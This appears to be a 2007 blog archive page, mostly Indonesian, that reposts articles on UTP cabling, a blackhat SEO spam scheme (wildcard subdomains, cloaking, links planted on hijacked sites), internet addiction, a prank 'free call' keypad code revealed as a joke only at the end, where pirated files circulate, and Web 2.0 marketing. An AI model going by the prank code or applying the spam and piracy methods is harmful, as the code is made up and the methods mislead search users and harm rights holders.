Showing posts with label tutorial. Show all posts
Showing posts with label tutorial. Show all posts

21 July 2007

Cara Pemasangan Kabel UTP

UTP, singkatan dari “Unshielded Twisted Pair”. Disebut unshielded karena kurang tahan terhadap interferensi elektromagnetik. Dan disebut twisted pair karena di dalamnya terdapat pasangan kabel yang disusun spiral alias saling berlilitan. Ada 5 kategori kabel UTP. Dari kategori 1 sampai kategori 5. Untuk jaringan komputer yang terkenal adalah kategori 3 dan kategori 5.


Kategori 3 bisa untuk transmisi data sampai 10 mbps, sedang kategori 5 sampai 100 mbps. Kalau hanya buat misalnya jaringan komputer di kantor atau kampus atau warnet, paling hemat ya menggunakan yang kategori 3. Itu sudah lebih dari cukup.


Setahu penulis ada banyak merek yang beredar di pasaran, hanya saja yang terkenal bandel dan relatif murah adalah merek Belden - made in USA. Kalau mau yang lebih murah dan penggunaannya banyak, maka beli saja yang satu kotak, panjangnya sekitar 150 meter. Jangan lupa beli konektornya. Konektornya bentuknya seperti colokan telepon hanya saja lebih besar.


Satu lagi yang sangat penting, Anda harus punya tang khusus buat memasang konektor ke kabel UTP, istilah kerennya adalah “crimp tool”. Alat ini gunanya untuk ‘mematikan’ atau ‘menanam’ konektor ke kabel UTP. Jadi sekali sudah di ‘tang’, maka sudah tidak bisa dicopot lagi konektornya. Dan kalau mau yang lebih OK, biar tidak nanggung maka beli pula sebuah LAN tester. Anda bisa membeli yang merek dari Taiwan saja agar lebih murah. Bentuknya seperti kotak dan ada lampu LED-nya delapan pasang dan bisa kedap-kedip.


OK sekarang peralatan udah siap, penulis mulai saja. Secara umum, pemasangan kabel UTP tersebut ada dua tipe, yaitu tipe straight dan tipe cross. Disebut tipe straight soalnya masing-masing kabel yang jumlahnya 8 itu berkorespondensi 1-1, langsung. Sedangkan disebut cross soalnya ada persilangan pada susunan kabelnya. Bingung?


OK! Untuk tipe straight itu digunakan untuk menyambungkan kabel dari client ke hub. Sedangkan untuk tipe cross adalah untuk client langsung terhubung ke client (cpu to cpu) atau juga dari hub ke hub.


Kita bahas dulu yang tipe straight

Tipe ini adalah yang paling gampang dibuat. Kenapa? Soalnya langsung korespondensinya 1-1. Standar urutannya begini : 2 oranye - 1 hijau - 2 biru - 1 hijau - 2 coklat . 2 oranye disini maksudnya pasangan oranye muda sama oranye tua dan seterusnya. Tapi tidak usah ikut standar pewarnaan itu juga sebenarnya tidak masalah. Yang penting urutan kabelnya. Misal ujung pertama urutan pin pertamanya oranye muda, maka ujung yang lain urutan pin pertamanya juga harus oranye muda, jadi antar ujung saling nyambung. Sebenarnya tidak semua pin tersebut digunakan.


Yang penting adalah pin nomor 1,2,3 dan 6. Jadi misal yang disambung hanya pin 1,2,3 dan 6 sedangkan pin yang lain tidak dipasang, tidak jadi masalah. Untuk lebih jelasnya silakan lihat gambar di bawah yang penulis foto dari sebuah buku.


Yang kiri urutan korespondensi buat tipe straight, yang kanan yang cross


Waktu akan memasangnya, maka potong ujung kabelnya, kemudian susun kabelnya trus diratakan dengan pisau potong yang ada pada crimp tool. Andak tidak perlu repot harus melepaskan isolasi pada bagian ujung kabel, karena waktu Anda memasukan kabel itu ke konektor lalu ditekan (pressed) dengan menggunakan crimp tool, sebenarnya saat itu pin yang ada di konektor menembus sampai ke dalam kabel. Perhatikan, agar penekannya (pressing) yang keras, soalnya kalau tidak keras kadang pin tersebut tidak tembus ke dalam isolasi kabelnya. Kalau sudah kemudian Anda test menggunakan LAN tester. Masukkan ujung ujung kabel ke alatnya, kemudian nyalakan, kalau lampu led yang pada LAN tester menyala semua, dari nomor 1 sampai 8 berarti Anda telah sukses. Kalau ada salah satu yang tidak menyala berarti kemungkinan pada pin nomor tersebut ada masalah. Cara paling mudah yaitu Anda tekan (press) lagi menggunakan tang. Kemungkinan pinnya belum tembus. Kalau sudah Anda tekan tetapi masih tidak nyambung, maka coba periksa korespondensinya antar pin udah 1-1 atau belum. Kalau ternyata sudah benar dan masih gagal, berarti memang Anda belum beruntung. Ulangi lagi sampai berhasil.


LAN TESTER - alat untuk memeriksa benar tidaknya sambungan kabel. Untuk tipe straight jika benar maka led 1 sampai 8 berkedip.


Berikut adalah gambar dari bawah dari ujung kabel UTP yang sudah dipasangi konektor dan berhasil dengan baik (urutan pewarnaan pinnya ikut standar):


urutan pin standar


Dan kalau yang ini tidak standar, coba perhatikan urutan warna pinnya, sangat tidak standar, tapi tetap saja bisa, yang penting korespondensinya satu satu (khusus tipe straight):


urutan pin TIDAK standar


Tipe Cross

Untuk tipe cross itu digunakan untuk menyambungkan langsung antar dua PC, atau yang umumnya digunakan untuk menyambungkan antar hub. (misalnya karena colokan di hubnya kurang). Cara pemasangannya juga sebenarnya mudah, sama seperti tipe straight, pin yang digunakan juga sebenarnya hanya 4 pin saja, yaitu pin 1, 2, 3 dan 6. Yang berbeda adalah cara pasangnya. Kalau pada tipe cross, pin 1 disambungkan ke pin 3 ujung yang lain, pin 2 ke 6, pin 3 ke 1 dan pin 6 ke 2. Praktisnya begini, pada ujung pertama Anda bisa susun pinnya sesuai standar untuk yang tipe “straight”, sementara itu di ujung yang lain Anda susun pinnya sesuai standar buat tipe “cross”.


Masih bingung? Begini cara mudahnya:


Ujung pertama:

oranye muda

oranye tua

hijau muda

biru muda

biru tua

hijau tua

coklat muda

coklat tua


Maka di ujung yang lain harus dibuat begini:

hijau muda

hijau tua

orange muda

biru muda

biru tua

orange tua

coklat muda

coklat tua


Sudah agak lebih mengerti? Jadi disini posisi nomor 1, 2, 3 dan 6 yang ditukar. Nanti jika dites menggunakan LAN tester, maka nantinya led 1, 2, 3 dan 6 akan saling bertukar. Kalau tipe straight menyalanya urutan, sedangkan tipe cross ada yang lompat-lompat. Tapi yang pasti harus menyalasemua setiap led dari nomor 1 sampai 8.


OK, selamat membangun jaringan komputer. Semoga Anda bisa berhasil sewaktu memasang konektor pada kabelnya. Semoga ilmu ini berguna buat Anda, soalnya waktu dulu penulis pertama kali membuat jaringan hasilnya lucu sekali, untuk mengupas kabelnya penulis masih menggunakan cutter, padahal sudah ada fasilitasnya di crimp toolnya. Tambah lagi ujung-ujungnya tiap kabel penulis kelupas lagi menggunakan cutter, padahal yang betul tidak perlu dikupas satu-satu, biarkan saja rata, karena nantinya apabila di ‘crimp tool’ maka pin tersebut masing-masing akan tembus ke dalam kabelnya.

Source : http://cs.uad.ac.id/riadi/2006/04/13/pemasangan-kabel-utp/

11 July 2007

The Moldavian Blackhat


First of all people should stop blaming Google, they are not perfect but still the best on removing spam sites.

If MSN and Yahoo have much fewer indexed pages from this guy's domains, it is only because their bots are lazier and their index space lower.

Some of his sites are already banned from Google, some not, of course you would probably expect G to act faster, but I think they want the banning process to be automatically to avoid further spam. If they ban manually, tomorrow 10 others will spam again.

Here is a quick explanation on how he did this whole madness:

  1. He registered a couple of domains (t1ps2see.com, eiqz2q.org, etc)
  2. He used some lame automatic page generator to make thousands of meaningless pages.
  3. He setup his web server(probably mod_rewrite rules) and DNS to work with anysubdomain.domain.com, we can see this on a random query:
    $ host worihqweoirhwqer.t1ps2see.com
    worihqweoirhwqer.t1ps2see.com has address 70.87.73.35
  4. A little programming on the site for interlinking pages and probably for querying some mysql databases where he stored the generated pages.
  5. He setup some kind of cloaking, using body onLoad="document.f.submit()" and also giving a page to googlebot and another to visitor, creating confusion. He even denied page caching, but seems like he missed msn where cached pages still appear.
  6. He used a couple of trusted(or ex-trusted) PR5 sites like www.intermedia.md, www.chat.md, www.faces.md , etc. to get backlinks Although we no longer see them now, in a cached page of these sites there are entries like:
    a href="http://2333.water.eiqz2q.org"
    img src=http://images.faces.md/images/0.gif border=0
    a href="http://1272.manager.eiqz2q.org"
    img src=http://images.faces.md/images/0.gif border=0
    a href="http://307.pizza.eiqz2q.org"
    img src=http://images.faces.md/images/0.gif border=0
  7. He waited a few days for his pages to get indexed

Have you noticed anything spectacular? No! Any webmaster with a few programming knowledge can do this... but it will be totally unethical.

And you should also notice the BAD parts in this: he has nothing stable, he will get banned sooner or later and will have to start over and he had to sacrifice those PR5 sites: faces.md, welena.com, intermedia.md, etc. Another bad part for him is that he attracted too much the attention of webmasters, many forums talk about this now and sending abuse reports to Google.
Some of the white hats maybe now wants to try this? I don't know if it's illegal or not, probably not but you should "Know well what leads you forward and what holds you back".

SOURCE : http://anaaman.blogspot.com/2006/06/moldavian-blackhat.html

04 May 2007

Cara Mengatasi Kecanduan Internet

Selalu ingin menghabiskan waktu lebih banyak di internet? Rela mengurangi kegiatan sosial atau rekreasional demi menggunakan internet? Atau merasa gelisah jika tidak menggunakan internet? Jika iya, Anda sepertinya mengalami kecanduan internet.

Ada banyak alasan mengapa seseorang menghabiskan waktu terlalu banyak di internet. internet bisa digunakan sebagai wadah melarikan diri dari perasaan bersalah atau depresi, mirip seperti peran obat penenang yang kerap dipakai orang yang sering merasa cemas atau gelisah. Internet menawarkan sesuatu yang mendebarkan, tempat pelarian ke hal-hal 'gaib' bahkan erotik.

Alasan lainnya, seseorang yang kecanduan internet selalu ingin menghabiskan lebih banyak waktunya di internet hanya untuk sekadar memenuhi kepuasan hati. Jika tidak menggunakan internet, ia merasa gelisah, cemas, atau tanpa sadar melakukan gerakan mengetik. Hal ini malah akan merusak jiwa seseorang jika dibiarkan terus.

Melihat fenomena tersebut, sadar atau tidak, internet telah sukses 'menghipnotis' para penggunanya. Ia (internet-red) bisa membuat para penggunanya lupa diri dan lupa waktu hingga pendidikan dan kegiatan sosial lainnya pun jadi terganggu. Jika internet telah mencampuri kehidupan pribadi, finansial, pekerjaan atau kesehatan, bisa jadi ini menjadi sinyal peringatan bagi Anda para pecandu Internet.

Namanya juga kecanduan, tidak gampang untuk langsung putus hubungan dengan internet dalam waktu singkat. Yuk, coba beberapa tips singkat untuk mengurangi kecanduan internet, yang dikutip detikINET dari LA Times, Selasa (6/3/2007).

Cari tahu masalahnya.
Jika Anda menggunakan internet sebagai pelarian dari masalah depresi, gelisah atau masalah hubungan, bukan internet tempat pelariannya. Memanfaatkan internet sebagai tempat pelarian hanya akan membuat Anda semakin candu dengan internet. Psikoterapi bisa menjadi alternatif solusinya. Disana Anda bisa belajar keahlian bagaimana memanajemen stres dengan baik.

Kenali pemicunya.
Menjadi seorang pecandu internet tentu karena dipicu suatu hal. Cari tahu dan kenali pemicunya. Apakah Anda bosan, stres atau kesepian? Jika hal tadi yang menjadi penyebabnya, coba buat daftar cara alternatif untuk mengatasi perasaan itu misalnya dengan jalan-jalan bersama teman.

Kurangi sedikit demi sedikit kebiasaan berlama-lama di internet.
Bagi yang sudah keranjingan dengan internet, cobalah untuk mengurangi sedikit demi sedikit kebiasaan Anda 'bergaul' terlalu lama dengan internet. Misalnya, jika Anda menghabiskan waktu 10 jam sehari di internet, coba kurangi 2 jam saja untuk melakukan kegiatan yang lain seperti rekreasi, ngobrol dan berkumpul dengan keluarga, atau kegiatan sosial lainnya.

Cobalah buat jadwal kapan Anda boleh menghabiskan banyak waktu untuk menggunakan internet dan kapan waktu yang tidak boleh diganggu gugat, tapi harus dipatuhi tentunya. Setidaknya dengan begitu, sedikit demi sedikit Anda bisa mengurangi rasa ketergantungan dari internet.

Ubah pola kebiasan online.
Salah satu cara untuk mengurangi ketergantungan internet adalah dengan mengubah pola kebiasaan ber-internet. Terbiasa menonton film online? Coba ubah kebiasaan itu dengan cara pergi ke bioskop. Menelepon langsung orang yang kita cari lebih baik ketimbang mengirimkan e-mail. Atau, ubah kebiasaan Anda berbelanja secara 'maya' di internet dengan cara berbelanja langsung ke toko-toko nyata.

Atur ulang jadwal rutinitas.
Jika Anda biasanya memeriksa e-mail pada pagi hari setelah bangun tidur, coba periksalah e-mail tersebut setelah sarapan. Tak adal salahnya menikmati waktu sarapan bersama keluarga karena bisa mempererat keharmonisan hubungan. Jika sepulang dari kantor biasanya Anda langsung nongkrong di internet, tunggulah sampai setelah makan malam. Sambil menunggu makan malam Anda bisa berleyeh-leyeh di sofa sambil mendengarkan musik mungkin?[detikinet]

06 April 2007

Trik menelepon gratis

Ini adalah trik yang bisa dicoba, ini hasil utak-atik aku sendiri waktu nganggur... ~.~ kemarin
ga bisa bobo -_- hikz... 5 jam aku utak-atik ini... akhirnya ada hasil juga....

Manfaatkan kelemahan sistem ponsel kamu sehingga kamu bisa main telepon dengan GRATIS,
kemana saja, berapapun lamanya!!!

Yang dibutuhkan adalah cuma beberapa menit untuk mempelajari tulisan ini dengan teliti sekaligus langsung mempraktekkannya ke ponselmu.

Dengan mengucap bismillahirrahmanirrahimm
Langkah Pertama : Ambil HP kamu...

Catat spesifikasi ponsel kamu antara lain :
1. Merk (misal Nokia, Siemens, Motorola, dll)
2. Jenis (misal 3210, M35, 3310, T18S)
3. No IMEI (optional, tapi sebaiknya dicatat, kalau ada masalah)

Langkah Kedua :

Siapkan segera no telpon yang akan dituju, serta amati kuat sinyal pada indikator. Sebaiknya sinyal pada posisi maksimum,artinya kamu tidak boleh terlalu jauh dari base station, atau bila kamu berada dalam ruangan tertutup, sebaiknya kamu keluar atau mencari tempat dimana kuat
sinyal diterima maksimal. Pastikan no telepon yang kamu tuju siap untuk menerima telepon, ini bisa kamu lakukan dengan menelepon, kemudian tutup (missed call). Bila sedang sibuk, tunggu sampai idle.

Langkah Ketiga :
Lakukan prosedur eksekusi berikut :

1.Tekan tombol bintang (*)
2.Tekan tombol angka konversi untuk merk Anda :

Nokia : 23
Motorola : 17
Ericsson : 45
Samsung : 19
Siemens : 20
Untuk merk lain sedang dalam proses pencarian.

3.Tekan tombol seri ponsel kamu :

Misal :
Nokia N3210 = 3210
Ericsson T10S = 10
Ericsson A6188 = 6188
Jadi ambil angkanya saja.

4.Tekan tombol pagar (#)
5.Ikuti dengan nomor telepon yang akan dituju :

Format : kode negara + kode wilayah + no telepon

Kalau yang ditelepon di Yogyakarta, nomernya 580566, maka harus ditekan: 62274580566

Keterangan :

Kode negara : 62 dan Kode wilayah : 0274

6.Tekan tombol pagar (#)

Jadi sebagai contoh kalau saya punya ponsel Nokia 3310, dan ingin menelpon ke Bogor dengan no telepon 370066 (kode kota 0251), maka saya harus menekan : *233310#62251370066#

Silahkan periksa sekali lagi sebelum kita melakukan eksekusi terakhir!!!

LANGKAH TERAKHIR : VERY IMPORTANT THING

Pastikan pada layar ponsel kamu tertera karakter dengan urutan yang benar!. Kesalahan penggunaan bisa menyebabkan kartumu tidak berlaku lagi,hehehe dan aku tidak bertanggungjawab untuk hal tersebut. Jadi silakan periksa sekali lagi !

Sebelum kamu tekan Enter atau Call, yang harus kamu perhatikan bahwa kamu HARUS segera
mematikan ponsel pada hitungan antara detik ke-2 dan ke-3!!! Tidak boleh LEBIH dan tidak boleh KURANG!!!

Kamu bisa melakukannya pada detik ke 2.1 atau 2.4 atau 2.7 setelah penekanan tombol Call.

Sebaiknya kamu siapin jam tangan, lebih baik bila ada stopwatch-nya. Setelah itu, SIM SALABIM , abrakadabra, kamu bisa bicara sepuasnya, mau beberapa jam, mau beberapa hari atau bahkan berbulan-bulan, mau berteriak sekerasnya, dijamin kamu tidak akan mengeluarkan biaya kecuali yang telah dijelaskan di atas. Sebaiknya kamu berbicara jangan di depan muka umum, karena akan memalukan kamu sendiri.

Kalau sudah puas atau sudah lelah berbicara, silakan nyalakan kembali ponsel kamu, siapa tahu ada orang yang serius mau menghubungi kamu. Kasihan dia, mau menelepon kamu tapi masuk ke mailbox terus.

He .... he ....... he ........ emang enak dikerjain ;-p , makanya bacanya jangan terlalu serius masa' mau nelpon nggak mau keluar pulsa, yang bener aja, ha ha ha hi hi hi
*peace*

sumber : http://hanjar.web.ugm.ac.id/articles.php?lng=en&pg=190

28 February 2007

Riset Media Online di Indonesia

Internet sudah lama dikenal di negeri kita. Tapi percaya atau tidak, belum pernah ada satu lembaga independen yang mulai mendata beragam hal yang berhubungan dengan dunia online. Riset yang paling mendasar mungkin bisa didapat dari APJII. Dari sini kita setidaknya bisa mengetahui jumlah pengguna internet di Indonesia. Namun itu pun, hanya bersifat estimasi yang dilakukan pada tahun 2005.

Terkait dengan semakin banyaknya brand yang berkampanye online, seharusnya ada hal-hal yang bisa dipelajari lebih lanjut dari setiap kampanye tersebut. Sayangnya, belum ada lembaga independen yang memulai riset tentang hal ini. AC Nielsen Indonesia pun belum pernah melakukannya. Fokus mereka saat ini masih pada media cetak dan elektronik.

Apa yang dilakukan banyak produsen dan agency di Indonesia dengan beragam kampanye online-nya umumnya dilakukan sebatas trial and error. Dalam setiap aktivitas kampanye online-nya, yang jadi patokan adalah pengalaman dari sebelumnya. Kalau dulu program kampanyenya seperti ini, maka hasilnya seperti ini. Kalau misalnya dilakukan dengan cara yang berbeda, hasilnya pun jadi seperti ini. Tidak ada tolak ukur yang sama dalam setiap pengukurannya.

Setiap produsen dan agency menjaga kerahasiaan datanya masing-masing. Hal ini pula yang menyulitkan standarisasi pengukuran. Di sinilah sebenarnya lembaga riset independen dibutuhkan. Seharusnya lembaga seperti AC Nielsen sudah memiliki metode pengukurannya, karena AC Nielsen di US pernah melakukan riset seperti ini sebelumnya. Mereka tinggal mengadaptasinya dengan kebutuhan lokal di Indonesia.

Kemajuan aktivitas online di Indonesia tidak akan lepas dari riset dan data pendukung. Sebagai contoh, secara gamblang mungkin kita bisa menebak aktivitas yang paling sering dilakukan pengguna internet di Indonesia. Namun, karena tidak didukung dengan data yang valid, agak susah bagi kita untuk meyakinkan para calon-calon produsen dan investor betapa pentingnya mereka berinvestasi dalam aktivitas di dunia maya.

Terlepas dari belum adanya lembaga independen yang memulai riset di dunia online, siapa tahu ada rekan-rekan mahasiswa yang baru saja melakukan penelitian tugas akhir seputar dunia online? Apapun itu risetnya, ada baiknya kalau bisa kita pelajari bersama. Jadi, jika ada rekan-rekan yang pernah melakukan riset online dalam bentuk apapun, sekiranya berbaik hati untuk kita share bareng bareng di sini
artikel kutipan : http://media-ide.bajingloncat.com/2007/01/18/riset-media-online-di-indonesia/

Berkelana di Dunia Bawah Tanah

Dunia internet tidak melulu selalu memberikan nilai positif. Selain situs-situs porno dan judi yang sudah jelas efek negatifnya, di jagad internet yang luas ini banyak pula ditemukan beragam produk ilegal. Kalau biasanya DVD dan perangkat lunak bajakan bisa kita temukan di Gl*d*k, R*tu P*az*, maupun M*ngg* Du*, yang bisa dikatakan dunia bawah tanahnya Jakarta, hal serupa pula sebetulnya bisa kita cari di internet.

Mencari aplikasi, film, majalah, komik, buku teks, template website, yang dipublikasikan secara ilegal sebetulnya sangat mudah dicari, asal tahu caranya. Tulisan ini hanya sebatas sedikit mengenalkan dunia ini ya, bukan untuk merekomendasikan Anda untuk melakukannya. Untuk menghindari pencemaran nama website atau aplikasi, maka untuk selanjutnya setiap nama website atau aplikasi akan disensor.

Pernah dengar tentang P2P (peer to peer)? Jaringan P2P ini menghubungkan langsung setiap komputer lokal yang telah menginstalasi perangkat lunak tertentu. Dahulu Napster sempat disomasi karena akibat aplikasi ini, terjadi banyak transaksi ilegal lagu-lagu dalam format MP3. Sekarang, Napster mencoba mengatasinya dengan memberikan fasilitas penjualan lagu-lagu yang bisa dibeli secara online.

Selain Napster, sebetulnya masih ada beberapa jaringan P2P yang terkenal. Di antaranya adalah K*z**, T*rr*nt, dan *Mul*. Melalui K*z** dan *Mul*, Anda tinggal mencari aplikasi, gambar, atau video dengan kata kunci tertentu. Nantinya, Anda bisa mendapatkan beragam file yang sesuai dengan kata kunci tersebut. File ini sebenarnya Anda temukan di salah satu komputer lokal yang berada dalam jaringan P2P tersebut. Karena prosesnya tidak melalui server terlebih dahulu (seperti layaknya sebuah website), biasanya proses transfer file terasa agak lambat. Dahulu, rekaman VCD artis yang heboh itu sempat beredar pula di jaringan ini.

Jaringan P2P yang kini populer adalah T*rr*nt. Modelnya agak berbeda dengan P2P lainnya. Umumnya, website yang menawarkan file ilegal tidak langsung menaruh file-nya di server mereka. Untuk T*rr*nt, website akan menyediakan file berukuran kecil yang bisa Anda unduh dengan cepat. Lalu, melalui beragam aplikasi T*rr*nt seperti B*T*rr*nt atau Az*re*s, file ini akan mencari sumber datanya (mereka sebut dengan seeder) di seluruh jaringan T*rr*nt. Bila ditemukan, file ini bisa Anda unduh langsung ke komputer Anda.

Sekitar 2 tahun lalu, muncul beberapa penyedia jasa pengiriman file raksasa, yang memudahkan pengguna mengirimkan file berkapasitas besar tanpa melalui e-mail. Suksesnya model seperti ini ditiru pula oleh banyak pemain, masing-masing menawarkan keunggulannya tersendiri. Beberapa fasilitas penyedia jasa simpan file raksasa ini antara lain: R*p*dsh*r*, M*hd, T*rbo*pl*d, atau M*g**pl*d.

Ada yang menawarkan fasilitas keanggotaan, sehingga seseorang bisa menyimpan data penting mereka di internet. Mereka tidak perlu khawatir datanya diakses oleh pihak lain, karena setiap tautan (link) hanya diketahui oleh pemilik file, dan tidak bisa dicari menggunakan fasilitas pencari seperti Google. Ada pula yang menawarkan sistem poin, dimana setiap file yang diunduh oleh pengunjung lainnya akan memberikan poin tambahan bagi pemilik file. Poin ini nantinya bisa ditukarkan dengan benefit tertentu bagi pemilik file.

Fasilitas inilah yang kini dimanfaatkan untuk distribusi beragam produk ilegal. Segala macam dari film beresolusi DVD, buku, majalah, lagu, dan beragam produk digital lainnya didistribusikan melalui fasilitas ini. Karena setiap tautan produk-produk ini tidak bisa dicari menggunakan Google, maka setiap pemilik file mempublikasikan tautan file-nya melalui blog atau forum. Bahkan, ada beberapa forum di Indonesia yang mempublikasikan tautan-tautan ini di salah satu thread-nya. Coba saja mampir-mampir ke setiap forum besar di Indonesia dan jadilah anggota. Baru deh akan muncul thread-nya.

Masih banyak lagi sebetulnya aktivitas bawah tanah di dunia internet, yang kita perlu agak-agak pintar dalam mencarinya. Mungkin, ini akan dijadikan topik pada tulisan berikutnya.

Plus, jangan tanya ya kata-kata yang disensor itu apa. Coba cari and tebak-tebak sendiri deh, pasti bisa ketemu!

artikel kutipan : http://media-ide.bajingloncat.com/2006/12/08/berkelana-di-dunia-bawah-tanah/#more-263

Apa Itu Microsite?

Sejak beberapa tahun belakangan ini, ada satu jargon baru di dunia online branding, yang jadi alat jualan para produsen Indonesia. Jargon microsite mulai dikenalkan oleh para produsen (dan para media online) kepada para konsumennya yang aktif di dunia maya. Sebenarnya, apakah microsite itu? Apakah berbeda dengan website pada umumnya?

Sebenarnya, istilah microsite (atau sering pula disebut dengan mini website) lebih menekankan pada aspek pemasaran sebuah website. Secara teknis, sebuah microsite tidaklah berbeda dengan website pada umumnya. Aplikasi yang digunakan pun sama (HTML, PHP, Flash, dll). Microsite lebih berfokus pada fungsi konten di dalamnya sebagai alat promosi, branding, penjualan, layanan, atau kampanye.

Biasanya, sebuah microsite hanya spesifik menampilkan sebuah produk/pesan tertentu. Microsite bisa dipakai untuk menggali informasi tertentu dari konsumen, menawarkan contoh produk yang sifatnya terbatas/musiman, menampilkan advertorial produk, atau membangun brand awareness melalui suatu program kampanye tertentu dari brand/produk.

Sebuah perusahaan besar yang mencakup banyak brand, bisa saja membuat microsite untuk setiap brand-nya. Atau, sebuah brand yang terdiri dari banyak kumpulan lini produk, bisa pula membuat microsite hanya untuk satu produk tertentu saja. Satu jenis produk dari sebuah brand bisa pula membangun microsite khusus untuk kampanye tertentu produk itu saja dalam suatu periode.

Sebagai gambaran, Unilever Indonesia terlihat paling sering membuat microsite. Mereka membangun microsite yang berbeda untuk beberapa brand-nya. Setiap brand memiliki ciri khas visualnya tersendiri. Microsite digunakan untuk menjaga kekhasan visual brand. Umumnya, konten microsite-nya pun disesuaikan dengan program kampanye dan target brand tersebut.

Bahkan, beberapa penamaan URL microsite pun disesuaikan dengan nama kampanye brand tersebut. Sebut saja Lifebuoy (dulu dengan www.jawaragaktakutjerawat.com), Sunsilk (dulu dengan www.sunsilkbeautycamp.com dan www.sunsilkclass.com), Clear (dulu dengan www.cleartopten.com dan www.clearkencanimpian.com), CloseUp (dengan www.closeupplanet.web.id), atau Conello (dulu dengan www.jagogebet.com). Perusahaan Indonesia lainnya yang juga membangun microsite antara lain: Bank Niaga (dengan www.cintaniaga.com) dan Gudang Garam (dengan www.ggpriapunyaselera.com).

Bila sebuah microsite dipakai untuk program kampanye tertentu, umumnya berumur pendek. Biasanya hanya tayang dalam 3-6 bulan. Selanjutnya, saat program kampanye itu selesai, microsite pun sudah tak aktif kembali.

Tidak selamanya membangun sebuah microsite itu sekompleks microsite milik brand Unilever Indonesia di atas. Microsite sederhana biasanya bisa saja berupa advertorial, berisikan 4-6 halaman statis mengulas singkat brand atau product knowledge. Umumnya, format microsite inilah yang menjadi pelengkap paket iklan saat sebuah brand hendak berpromosi di media online seperti Detik.com atau Kompas.com.

aartikel kutipan : http://media-ide.bajingloncat.com/2007/01/09/apa-itu-microsite/

Bisnis Web di Era Web 2.0

Hari Kamis lalu, pihak Intimedia sempat mengundang beberapa pelaku bisnis web untuk mengikuti Seminar Bisnis Web di Era Web 2.0. Pada kesempatan ini, Mas Adri memberikan penjelasan tentang perbedaan penting antara Web 1.0 dan Web 2.0.

Kalau di era 1995-1997 dulu, saat era Web 1.0, semua portal dot com menyediakan konten, dan pengunjung portal hanya menerima suguhannya saja, dengan interaksi yang cenderung pasif. Semua portal sibuk memberikan konten berita, liputan, artikel, tak berbeda jauh dengan surat kabar cetak. Nah, di era Web 2.0 ini, tren bisnis mulai berubah. Sekarang adalah eranya partisipasi dari konsumen. Pengelola dot com lebih bersifat sebagai fasilitator atau agregator saja.

Salah satu contoh peninggalan Web 1.0 adalah Britannica Online, salah satu website ensiklopedia terlengkap di jagad maya. Seluruh konten redaksi dipegang oleh pihak Britannica sendiri. Bandingkan dengan ensiklopedia ala Web 2.0 yang kini sudah banyak dikenal dan menjadi referensi banyak murid dan mahasiswa, Wikipedia. Di Wikipedia, seluruh pengunjung website ini bisa memberikan sumbangan, mengkoreksi, dan melengkapi seluruh konten pengetahuannya. Aplikasi pendukung Wikipedia yang gratis ini bahkan bisa dijadikan alat pembelajaran yang baik untuk lingkungan internal kampus.

Partisipasi dari pengunjung website juga terlihat pada website MySpace dan YouTube. Kedua website ini yang masing-masing dibangun oleh sepasang remaja ini dihargai gila-gilaan oleh konglomerasi besar. website MySpace yang menjadi pionir website komunitas pertemanan (seperti Friendster) dibeli oleh Rupert Murdoch, salah satu raja media. Website YouTube, yang konsepnya diadaptasi dari acara televisi America’s Funniest Home Videos, dimana setiap anggota bebas memamerkan videonya, kini sudah menjadi milik Google.

Konsep partisipasi seperti inilah yang seharusnya dipertimbangkan oleh para pengelola bisnis dot com di masa mendatang. Mungkin saja teman-teman dot com yang datang pada seminar itu, seperti: Bulutangkis.com, Eventku.com, Rumah-ku.com, Waralaba.com, bisa menerapkan konsep serupa di portal masing-masing.

artikel kutipan : http://media-ide.bajingloncat.com/2006/11/26/bisnis-web-di-era-web-20/

Bagaimana Brand Berpartisipasi di Era Web 2.0?

Semakin banyak brand yang melakukan kampanye online-nya dengan semangat Web 2.0. Salah satu inti dari Web 2.0 sendiri adalah pengunjung bisa berpatisipasi aktif di website, tidak sekedar dicekokin pesan satu arah oleh brand. Justru, brand menyiapkan aplikasi atau permainan yang mengajak pengunjung untuk terlibat dan menyebarkannya ke orang lain.

Intinya adalah berbagi. Beberapa website yang kini mendulang kesuksesan karena memungkinkan pengunjung atau anggotanya berbagi, antara lain: Flickr!, YouTube, del.icio.us, MySpace, dll. Flickr! memungkinkan anggotanya berbagi foto. Mirip dengan konsep mailing list untuk e-mail, demikian pulalah Flickr! untuk foto. Setiap foto bisa tergabung dengan kelompok/grup tertentu.

Sementara YouTube sendiri adalah tempat berbagi video. Video ini dikirimkan oleh anggota dan bisa disaksikan streaming oleh pengunjung lainnya. Untuk kita di Indonesia yang berat menyaksikan video streaming, bisa memanfaatkan website Keepvid untuk mengunduhnya dan memainkannya setelah selesai diunduh. Pola YouTube ini diikuti oleh pemain-pemain lain yang menyajikan hal serupa, seperti Google Video, Metacafe, Vimeo, dll. Beberapa di antaranya bahkan menjadi tempat promosi brand, karena menjadi tempat brand menyebarkan TVC-nya secara viral.

Girl on YouTubeKasus menarik yang masih menjadi misteri hingga sekarang adalah kisah seorang remaja cewek yang curhat tentang kehidupan sehari-harinya di YouTube. Kualitas editing video ini terlihat terlalu bagus untuk seorang amatir. Tapi, belum diketahui apakah ini murni kisah remaja yang berbagi cerita, ataukah ada brand tertentu mensponsori di baliknya.


Ada lagi yang disebut dengan social bookmark. Seseorang yang menjadi anggota del.icio.us misalnya, bisa menyimpan bookmark dari berbagai website menarik yang dikunjunginya. Setiap bookmark bisa dikategorikan dan diberi penjelasan. Salah satu manfaatnya, bookmark ini memudahkan anggota yang sering berganti-ganti komputer saat berkoneksi internet. Bookmark ini juga bisa di-share ke pengunjung lain. Dengan ini, kita bisa mengetahui selera website yang dikunjungi seseorang. Alternatif social bookmark lainnya adalah Digg dan Magnolia.

Berbagai website ini umumnya bertujuan sama, membangun komunitas. Bahkan, website komunitas sosial seperti MySpace atau Friendster melakukan lebih jauh lagi. Di US, MySpace menjadi andalan, karena jumlah anggotanya yang mencapai 68 juta pengguna. Sedikit demi sedikit banyak brand melirik MySpace dan memanfaatkannya, dengan cara membangun profil brand dan menjaring pertemanan dengan anggota lainnya. Karena sifatnya yang customized, setiap anggota (termasuk brand yang menjadi anggota) bisa mendesain profil mereka sebebas yang mereka suka. Hal ini yang menarik minat brand untuk membuat profil dengan gaya sesuai gaya brand mereka.

Karena kedekatannya dengan remaja, dan remaja sangat erat hubungannya dengan musik, MySpace bahkan menggelar jadwal konser musisi US, dan membuat profil mereka masing-masing. Beberapa musisi (baik profesional maupun amatir) bahkan mengenalkan lagu-lagu baru mereka melalui jaringan MySpace.

Lebih lengkap tentang berbagai website di era Web 2.0 ini bisa dilihat daftarnya di sini.

